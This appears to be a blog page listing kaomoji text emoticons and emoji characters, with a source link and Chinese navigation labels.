(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇